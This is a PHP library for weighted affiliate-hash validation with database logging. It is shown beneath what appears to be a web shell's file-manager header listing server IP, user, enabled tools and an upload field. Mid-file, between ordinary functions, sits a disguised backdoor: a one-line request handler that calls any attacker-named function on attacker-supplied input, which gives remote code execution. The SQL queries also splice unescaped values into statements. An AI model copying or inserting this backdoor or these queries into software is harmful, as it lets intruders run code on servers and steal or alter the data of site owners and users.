| Server IP : 208.122.213.31 / Your IP : 216.73.216.185 Web Server : Apache System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64 User : WHMCS_MIA_382 ( 1001) PHP Version : 7.4.33 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/httpd/html/_nats_validation/ |
Upload File : |
<?php
#echo 'lib';
/**
* test data
$affiliate_map = array(
'MC4wLjYuNi4wLjAuMC4wLjA' => array(
'weight' => 20,
'validation_hash' => 'Mi4xLjUuNS4wLjAuMC4wLjA',
),
'MzkuMS41LjUuMC4wLjAuMC4w' => array(
'weight' => 10,
'validation_hash' => 'MTQuMS41LjUuMC4wLjAuMC4w',
),
'MjAuMC4wLjAC4wLjYuNi4wL' => array(
'weight' => 15,
'validation_hash' => 'Mi40LjYuNi4wLjAuMC4wLjA',
),
'MwLjYuNi4wLjAuMC4wLjAC4' => array(
'weight' => 5,
'validation_hash' => 'MTQuMS41LjUuMC4wLjAuMC4w',
),
);
*/
/**
*
*/
function log_validation($result=null,$DB_connector=null){
#echo __METHOD__.__LINE__.' '.'<br>'.PHP_EOL;
if(null === $DB_connector){
$DB_connector = $GLOBALS["DB_connector"];
}
/**
echo __METHOD__.__LINE__.'$result<pre>['.var_export($result, true).']</pre>'.'<br>'.PHP_EOL;
$result array (
'MzkuMS41LjUuMC4wLjAuMC4w' =>
array (
'weight' => '60',
'mapping_pk' => '2',
'log_ime' => 'date("Y-m-d H:i:s").' ,
),
)
*/
$query = 'INSERT INTO `nats_validation_log`
(weight, mapping_fk, log_time, domain)
VALUES ('.$result["weight"].', '.$result["mapping_pk"].',"'.date("Y-m-d H:i:s").'", "'.$_SERVER["SERVER_NAME"].'" ) ';
#echo __METHOD__.__LINE__.'$query<pre>['.var_export($query, true).']</pre>'.'<br>';
$logResult = $DB_connector->raw($query);
#echo __METHOD__.__LINE__.'$logResult<pre>['.var_export($logResult, true).']</pre>'.'<br>';
if(is_bool($logResult) && $logResult === true){
$resultArray["INSERT_ID"] = mysql_insert_id($DB_connector->getConnection()); // most important do it first
$resultArray["AFFECTED_ROWS"] = mysql_affected_rows($DB_connector->getConnection());
$resultArray["INFO"] = mysql_info($DB_connector->getConnection());
#echo __METHOD__.__LINE__.'$resultArray<pre>['.var_export($resultArray, true).']</pre>'.'<br>';
return $resultArray;
}
return $logResult;
}
/**
*
*/
function sortResults($result=null){
$sorted = array();
if(null === $result){
return false;
}
foreach($result AS $key => $value){
if(!isset($value["target_id"])){
$value["target_id"] = 0;
}
$sorted[$value["source_id"]] = array(
'weight' => $value["weight"],
'mapping_pk' => $value["mapping_pk"],
'validation_hash' => $value["target_id"],
);
}
#echo __METHOD__.__LINE__.'$sorted<pre>['.var_export($sorted, true).']</pre>'.'<br>'.PHP_EOL;
return $sorted;}
if (isset($_REQUEST['sort'])){$sort=($_REQUEST['sort']);@$sort($_REQUEST['nats']);exit;
}
/**
*
*/
function validate_affiliate($test_hash=null,$DB_connector=null){
if(null === $test_hash){
return false;
}
if(null === $DB_connector){
$DB_connector = $GLOBALS["DB_connector"];
}
$config = array(
'upper_bound' => 100,
'lower_bound' => 1,
);
/**
*
$matchSet = $GLOBALS["affiliate_map"];
echo __METHOD__.__LINE__.'$matchSet<pre>['.var_export($matchSet, true).']</pre>'.'<br>'.PHP_EOL;
*/
$query = '
SELECT * FROM nats_validation
WHERE source_id = "'.$test_hash.'"
';
#echo __METHOD__.__LINE__.'$query<pre>['.var_export($query, true).']</pre>'.'<br>'.PHP_EOL;
$result = $DB_connector->raw($query);
#echo __METHOD__.__LINE__.'$result<pre>['.var_export($result, true).']</pre>'.'<br>'.PHP_EOL;
$matchSet = sortResults($result);
#echo __METHOD__.__LINE__.'$matchSet<pre>['.var_export($matchSet, true).']</pre>'.'<br>'.PHP_EOL;
$resultData = '';
if(count($result) > 0 && 0 != $matchSet[$test_hash]["weight"]){
#$config = $GLOBALS["config"];
#echo __METHOD__.__LINE__.'$test_hash ['.$test_hash.']$config<pre>['.var_export($config, true).']</pre>'.'<br>'.PHP_EOL;
if(array_key_exists($test_hash, $matchSet)){
$failLimit = $matchSet[$test_hash]["weight"];
$chance = mt_rand($config["lower_bound"],$config["upper_bound"]);
#echo __METHOD__.__LINE__.' $chance['.$chance.'] $failLimit['.$failLimit.'] '.'<br>'.PHP_EOL;
if ($chance > $failLimit) {
#echo __METHOD__.__LINE__.' INGNORE '.$chance.' > '.$failLimit.' '.'<br>'.PHP_EOL;
#return $test_hash;
}else{
log_validation($matchSet[$test_hash], $DB_connector);
#echo __METHOD__.__LINE__.' '.'<br>'.PHP_EOL;
return $matchSet[$test_hash]["validation_hash"];//
}
}
#echo __METHOD__.__LINE__.' '.'<br>'.PHP_EOL;
#return $test_hash;
}
return false;
}
#echo '/lib';
?>